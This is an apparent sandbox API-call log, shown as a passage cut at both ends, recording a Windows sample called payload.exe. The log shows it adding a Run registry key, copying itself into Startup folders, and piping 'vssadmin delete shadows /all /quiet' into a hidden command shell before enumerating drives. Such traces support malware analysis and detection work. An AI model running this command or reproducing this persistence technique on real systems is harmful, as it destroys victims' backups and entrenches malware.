0x6a28b8 [0145.959] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a28b8, Size=0x20) returned 0x69d498 [0145.959] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a28b8 [0145.960] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a28b8, Size=0x20) returned 0x69d6c8 [0145.960] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0145.960] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0145.960] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0145.960] lstrlenW (lpString="kernel32.dll") returned 12 [0145.960] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d6c8 | out: hHeap=0x660000) returned 1 [0145.960] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0145.960] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d498 | out: hHeap=0x660000) returned 1 [0145.960] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x24ab020 | out: hHeap=0x660000) returned 1 [0145.964] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2960 [0145.964] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2960, Size=0x20) returned 0x69d8a8 [0145.964] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d8a8, Size=0x40) returned 0x6777a0 [0145.964] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6777a0, Size=0x80) returned 0x6a3148 [0145.964] lstrlenW (lpString="C:\\WINDOWS\\System32\\payload.exe") returned 31 [0145.964] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0145.964] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x5c) returned 0x6a35c8 [0145.964] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0 [0145.964] RegSetValueExW (in: hKey=0x240, lpValueName="payload.exe", Reserved=0x0, dwType=0x1, lpData="C:\\WINDOWS\\System32\\payload.exe", cbData=0x3e | out: lpData="C:\\WINDOWS\\System32\\payload.exe") returned 0x0 [0145.964] RegCloseKey (hKey=0x240) returned 0x0 [0145.964] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a35c8 | out: hHeap=0x660000) returned 1 [0145.964] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0145.964] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a3148 | out: hHeap=0x660000) returned 1 [0145.964] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x6c5120 [0145.964] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x6d5128 [0145.964] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a29f0 [0145.964] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a29f0, Size=0x20) returned 0x69d8f8 [0145.964] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d8f8, Size=0x40) returned 0x677758 [0145.964] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677758, Size=0x80) returned 0x6a3148 [0145.964] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a3148, Size=0x100) returned 0x6a3148 [0145.964] lstrlenW (lpString="") returned 0 [0145.964] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0145.964] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8c) returned 0x6a3250 [0145.965] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x240) returned 0x0 [0145.965] RegQueryValueExW (in: hKey=0x240, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x6d5128, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x6d5128*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2 [0145.965] RegCloseKey (hKey=0x240) returned 0x0 [0145.965] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a3250 | out: hHeap=0x660000) returned 1 [0145.965] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0145.965] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8c) returned 0x6a3250 [0145.965] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0145.966] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x6d5128, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0 [0145.966] RegCloseKey (hKey=0x244) returned 0x0 [0145.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a3250 | out: hHeap=0x660000) returned 1 [0145.966] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0145.966] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0145.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a3148 | out: hHeap=0x660000) returned 1 [0145.966] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe", lpDst=0x6c5120, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe") returned 0x5a [0145.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6d5128 | out: hHeap=0x660000) returned 1 [0145.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c5120 | out: hHeap=0x660000) returned 1 [0145.967] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x100000) returned 0x24a2020 [0145.969] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a28d0 [0145.969] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a28d0, Size=0x20) returned 0x69d6c8 [0145.969] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2918 [0145.969] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2918, Size=0x20) returned 0x69d7e0 [0145.969] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0145.969] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0145.969] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0145.969] lstrlenW (lpString="kernel32.dll") returned 12 [0145.969] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d6c8 | out: hHeap=0x660000) returned 1 [0145.969] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0145.969] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d7e0 | out: hHeap=0x660000) returned 1 [0145.969] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0145.969] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0146.101] ReadFile (in: hFile=0x244, lpBuffer=0x24a2020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x24a2020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0146.110] WriteFile (in: hFile=0x248, lpBuffer=0x24a2020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x24a2020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0146.142] ReadFile (in: hFile=0x244, lpBuffer=0x24a2020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x24a2020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0146.142] CloseHandle (hObject=0x248) returned 1 [0146.142] CloseHandle (hObject=0x244) returned 1 [0146.142] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a29a8 [0146.142] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a29a8, Size=0x20) returned 0x69d6c8 [0146.142] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a28b8 [0146.142] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a28b8, Size=0x20) returned 0x69d768 [0146.142] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0146.142] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0146.142] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0146.142] lstrlenW (lpString="kernel32.dll") returned 12 [0146.142] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d768 | out: hHeap=0x660000) returned 1 [0146.142] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0146.142] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d6c8 | out: hHeap=0x660000) returned 1 [0146.143] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x24a2020 | out: hHeap=0x660000) returned 1 [0146.147] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x6c5120 [0146.147] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x6d5128 [0146.147] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2828 [0146.147] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2828, Size=0x20) returned 0x69d420 [0146.147] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d420, Size=0x40) returned 0x677ab8 [0146.147] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677ab8, Size=0x80) returned 0x6a3148 [0146.147] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a3148, Size=0x100) returned 0x6a3148 [0146.147] lstrlenW (lpString="") returned 0 [0146.147] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0146.147] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8c) returned 0x6a3250 [0146.147] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0146.147] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x6d5128, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0 [0146.147] RegCloseKey (hKey=0x244) returned 0x0 [0146.147] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a3250 | out: hHeap=0x660000) returned 1 [0146.147] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0146.147] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0146.148] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a3148 | out: hHeap=0x660000) returned 1 [0146.148] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe", lpDst=0x6c5120, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe") returned 0x49 [0146.148] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6d5128 | out: hHeap=0x660000) returned 1 [0146.148] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c5120 | out: hHeap=0x660000) returned 1 [0146.148] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x100000) returned 0x24a5020 [0146.150] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2960 [0146.150] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2960, Size=0x20) returned 0x69d8a8 [0146.151] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a29d8 [0146.151] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a29d8, Size=0x20) returned 0x69d5b0 [0146.151] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0146.151] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0146.151] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0146.151] lstrlenW (lpString="kernel32.dll") returned 12 [0146.151] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d8a8 | out: hHeap=0x660000) returned 1 [0146.151] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0146.151] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d5b0 | out: hHeap=0x660000) returned 1 [0146.151] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0146.151] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0146.151] CloseHandle (hObject=0x244) returned 1 [0146.151] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2960 [0146.151] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2960, Size=0x20) returned 0x69d5d8 [0146.151] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2738 [0146.151] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2738, Size=0x20) returned 0x69d448 [0146.151] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0146.151] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0146.151] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0146.151] lstrlenW (lpString="kernel32.dll") returned 12 [0146.151] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d448 | out: hHeap=0x660000) returned 1 [0146.151] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0146.151] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d5d8 | out: hHeap=0x660000) returned 1 [0146.151] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x24a5020 | out: hHeap=0x660000) returned 1 [0146.153] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a4908 | out: hHeap=0x660000) returned 1 [0146.154] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b4910 | out: hHeap=0x660000) returned 1 [0146.154] lstrlenW (lpString="%windir%\\System32") returned 17 [0146.154] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6775a8 | out: hHeap=0x660000) returned 1 [0146.154] lstrlenW (lpString="%appdata%") returned 9 [0146.154] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d830 | out: hHeap=0x660000) returned 1 [0146.154] lstrlenW (lpString="%sh(Startup)%") returned 13 [0146.154] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d8d0 | out: hHeap=0x660000) returned 1 [0146.154] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0146.154] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6775f0 | out: hHeap=0x660000) returned 1 [0146.154] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a27b0 [0146.154] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a27b0, Size=0x20) returned 0x69d678 [0146.154] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d678, Size=0x40) returned 0x6777a0 [0146.154] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6777a0, Size=0x80) returned 0x6a3148 [0146.154] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2828 [0146.154] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2828, Size=0x20) returned 0x69d6c8 [0146.154] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1fffc) returned 0x6a4908 [0146.155] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x6c5120 [0146.155] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x6d5128 [0146.155] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2900 [0146.155] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2900, Size=0x20) returned 0x69d420 [0146.155] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d420, Size=0x40) returned 0x6775a8 [0146.155] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6775a8, Size=0x80) returned 0x6a31d0 [0146.155] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a31d0, Size=0x100) returned 0x6a31d0 [0146.155] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0146.155] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a31d0 | out: hHeap=0x660000) returned 1 [0146.156] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x6c5120, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0146.156] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6d5128 | out: hHeap=0x660000) returned 1 [0146.156] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c5120 | out: hHeap=0x660000) returned 1 [0146.156] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1 [0146.157] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1 [0146.157] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1 [0146.157] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1 [0146.157] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0xf98, dwThreadId=0xf9c)) returned 1 [0146.179] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0146.179] WriteFile (in: hFile=0x24c, lpBuffer=0x6a3148*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x6a3148*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0146.179] CloseHandle (hObject=0x25c) returned 1 [0146.179] CloseHandle (hObject=0x258) returned 1 [0146.179] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a4908 | out: hHeap=0x660000) returned 1 [0146.179] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0146.179] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a3148 | out: hHeap=0x660000) returned 1 [0146.179] lstrlenW (lpString="%comspec%") returned 9 [0146.179] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d6c8 | out: hHeap=0x660000) returned 1 [0146.179] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258 [0146.180] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6a27c8 [0146.180] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x6a27c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c [0146.180] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69dcb8 [0146.180] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x69dcb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264 [0146.181] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a28d0 [0146.181] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a28d0, Size=0x20) returned 0x69d600 [0146.181] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d600, Size=0x40) returned 0x6777a0 [0146.181] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0146.181] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x67af18 [0146.181] GetLogicalDrives () returned 0x4 [0146.181] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10014) returned 0x6a4908 [0146.181] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a29c0 [0146.181] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a29c0, Size=0x20) returned 0x69d470 [0146.181] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d470, Size=0x40) returned 0x6775a8 [0146.181] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6775a8, Size=0x80) returned 0x6a3148 [0146.181] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a3148, Size=0x100) returned 0x6a3260 [0146.181] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a3260, Size=0x200) returned 0x6a3260 [0146.181] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a3260, Size=0x400) returned 0x6b4928 [0146.181] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b4928, Size=0x800) returned 0x6b4928 [0146.181] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b4928, Size=0x1000) returned 0x6b4928 [0146.181] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x6c5120 [0146.181] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2858 [0146.181] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6a2978 [0146.181] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4) returned 0x69dd78 [0146.181] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6a2828 [0146.181] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4) returned 0x69dc68 [0146.181] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a29d8 [0146.181] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69dc68, Size=0x8) returned 0x69dd98 [0146.181] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2780 [0146.181] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69dd98, Size=0x10) returned 0x6a28e8 [0146.181] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2990 [0146.181] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2918 [0146.181] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a28e8, Size=0x20) returned 0x69d8a8 [0146.181] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2798 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69dd98 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6a29a8 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6a29f0 [0146.182] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d8a8, Size=0x40) returned 0x6777e8 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6a2840 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6a28b8 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6a28d0 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6a29c0 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a28e8 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2900 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69dc48 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2a08 [0146.182] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6777e8, Size=0x80) returned 0x6a3148 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2720 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2960 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2738 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a27b0 [0146.182] RtlAllocateHeap 